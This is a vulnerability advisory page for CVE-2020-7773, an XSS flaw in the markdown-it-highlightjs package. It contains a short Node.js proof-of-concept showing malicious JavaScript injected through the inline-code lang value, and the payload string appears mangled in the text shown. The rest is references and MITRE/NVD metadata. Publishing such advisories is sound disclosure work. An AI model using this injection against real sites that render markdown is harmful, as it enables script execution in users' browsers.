This affects the package markdown-it-highlightjs before 3.3.1. It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature. const markdownItHighlightjs = require("markdown-it-highlightjs"); const md = require('markdown-it'); const reuslt_xss = md() .use(markdownItHighlightjs, { inline: true }) .render('console.log(42){.">js}'); console.log(reuslt_xss);
References
Link | Resource |
---|---|
https://github.com/valeriangalliat/markdown-it-highlightjs/blob/v3.3.0/index.js%23L52 | Broken Link |
https://github.com/valeriangalliat/markdown-it-highlightjs/pull/14 | Exploit Third Party Advisory |
https://snyk.io/vuln/SNYK-JS-MARKDOWNITHIGHLIGHTJS-1040461 | Mitigation Third Party Advisory |
History
No history.
MITRE Information
Status: PUBLISHED
Assigner: snyk
Published: 2020-11-16T00:00:00
Updated: 2020-11-16T12:00:24
Reserved: 2020-01-21T00:00:00
Link: CVE-2020-7773
JSON object: View
NVD Information
Status : Analyzed
Published: 2020-11-16T12:15:14.463
Modified: 2020-12-01T13:23:29.497
Link: CVE-2020-7773
JSON object: View
Redhat Information
No data.
CWE